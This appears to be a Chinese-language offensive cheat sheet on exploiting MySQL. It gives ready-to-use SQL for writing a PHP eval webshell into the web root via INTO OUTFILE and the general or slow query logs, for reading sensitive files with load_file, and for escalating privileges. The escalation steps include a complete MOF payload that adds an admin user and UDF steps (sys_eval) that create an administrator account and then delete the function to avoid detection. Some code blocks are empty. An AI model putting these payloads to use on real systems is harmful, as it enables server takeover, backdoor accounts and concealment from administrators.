MySQL利用总结
一、 写入Shell
- Select into outfile(需要有Root权限)- 此方式必须具有Root权限. - select xx into outfile filename原本是用于快速导出某个表中的数据. 利用此方式,我们可以将查询语句修改为如下形式,将Webshell 导出到Web目录下.- Select '<?php eval($_POST[command])?> into outfile /var/www/html/shell.php'
但是执行此语句时,可能会出现如下问题:
- 权限不足 - 此语句必须使用Root权限执行,否则会出现以下提示: - Access denied for user 'test'@'localhost' (using password: YES)
- Secure_file_priv 限制 - 使用 - show variables like '%secure%';来查看secure_file_priv 参数限制.- 参数值 - 说明 - null - 表示Mysql不允许导入或导出 - /tmp/ - 表示Mysql导入导出只能在/tmp下面 - 空值 - 表示Mysql不对导入导出做限制 
- 使用general_log 写入Shell (需要有Root权限) - 打开general log之后,所有的查询语句都可以在general log文件中以可读的方式得到,但是这样general log文件会非常大,所以默认都是关闭的. - 有的时候为了查错等原因,还是需要暂时打开general log的。换句话说general_log_file会记录所有的查询语句,以原始的状态来显示,在每一次更改general log file的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建. 如果我们将日志文件设定为网页可执行文件,那么查询操作将会将全部写入到指定的文件,通过访问该文件,即可获得WebShell. - 默认配置如下:  
 可以看到默认配置将general_log关闭,文件的位置是一个明确的日志文件,由于我们拥有Root权限,所以只需要修改配置,即可解除这些限制.
| 1 |  | 
   
- 使用慢查询日志写入Webshell - 慢查询日志:记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据 库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上 的语句是慢查询语句。 - 利用前提需要具有Root权限,secure_file_priv没有具体值. - 使用 - show variables like '%slow%';来查看慢查询日志的具体配置.
  
使用如下语句开启慢查询日志.
| 1 |  | 
二、 读取文件
load_file() 的作用是读取文件的内容,并将文件内容以字符串的形式返回,这个函数在渗透的过程中尤其的好用,但是这个函数的使用依然受到权限的限制以及 secure_file_Priv 的限制.
Windows 下常见敏感文件路径:
| 1 |  | 
Linux 下常见敏感文件路径:
| 1 |  | 
三、 提权
Mysql 提权的必要条件: 具有MySQL的root权限,且MySQL以system权限运行,具有执行SQL语句的权
- MOF提权 - 利用了 - C:\Windows\System32\wbem\MOF目录下的- nullevt.mof文件,利用该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行. 一般只用于Windows系统且低版本可用,例如windows xp,windows server 2003之类.此外还需要有对- C:\Windows\System32\wbem\MOF目录读写的权限.
 方法:
- 在可写目录中上传mof文件。 
- 把这个文件复制到 - C:/Windows/System32/wbem/MOF/nullevt.mof目录下,可使用load_file 配合 into dumpfile 来实现.- MOF 文件示例: - 1 
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17- # pragma namespace("\.\root\subscription")
 instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent "
 "Where TargetInstance Isa \"Win32_LocalTime\" "
 "And TargetInstance.Second = 5";
 QueryLanguage = "WQL";
 };
 instance of ActiveScriptEventConsumer as $Consumer
 {
 Name = "consPCSV2";
 ScriptingEngine = "JScript";
 ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
 };
 instance of __FilterToConsumerBinding
 {
 Consumer = $Consumer;
 Filter = $EventFilter;
 };
- UDF提权
 UDF(User Defined Funtion)用户自定义函数,通过添加新的函数,对mysql服务器进行功能扩充。
 使用前提:
 Windows:
			如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的MySQL\Lib\Plugin\文件夹下,该目录默认是不存在的,需			要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。
			如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:/windows/system32/目录,在windows server 2000			下放置在c:/winnt/system32/目录。	
 Linux:
 在my.ini的[mysqld]下,添加secure_file_priv=””,不限制导入导出路径
 具有数据库root账户的密码,且mysql数据库以root权限运行
 具有sql语句的执行权限
 导出目录可写
 系统中的selinux处于关闭状态
 Windows步骤:
- 在sqlmap/data/udf/mysql目录下,在Windows目录中有32位和64位的dll文件(MySQL位数)。
	    文件夹中的dll文件是通过异或编码的,可以使用sqlmap/extract/cloak.py进行解码python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
- 将解码后的DLL文件(包含用户自定义函数的DLL文件)上传到可写目录,再导入到MySQL\lib\plugin\中
| 1 |  | 
- 将DLL中的函数引入到MySQL数据库中 
- 创建自定义函数 - create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
 创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll
 注意:需要创建.dll文件中存在的函数,可以使用十六进制编辑器打开.dll文件,查看可以被创建的函数。
- 使用该函数去执行系统命令提权
 查看当前用户权限
	select sys_eval("whoami");
 创建账号并提升为管理员权限
		select sys_eval("net user winhex passw@ord /add");
		select sys_eval("net localgroup administrators winhex /add");
- 将之前引入的函数删除掉,防止被管理员发现,防止其他攻击者使用
	drop function sys_eval;	
	delete from mysql.func where name='sys_eval';
 Linux 步骤:
- 查找插件库的路径
	show variables like '%plugin%';
 得到的结果为:
| Variable_name | Value | 
|---|---|
| plugin_dir | /usr/lib64/mysql/plugin | 
- 找到对应操作系统数据库的UDF库文件
sqlmap-master\data\udf\mysql\linux\64下的lib_mysqludf_sys.so_文件
- 将so文件(UDF库文件)进行16进制编码 
- 将so文件的内容解码,写入到mysql插件库目录中 
select unhex('so文件的16进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
- 查看udf库所支持的函数
 注意:需要创建.so文件中存在的函数,可以使用十六进制编辑器打开.so文件,查看可以被创建的函数。
- 创建函数
 写入之后,执行创建函数的命令,就会创建一个sys_eval的函数,用来执行系统命令,这个函数执行的系统命令全部都是system权限。
	create function sys_eval returns string soname 'xxx.so';
- 执行系统命令,提权
	sys_eval这个函数就可以执行系统命令,括号里输入系统命令即可。
- 查看当前用户权限
	select sys_eval("whoami");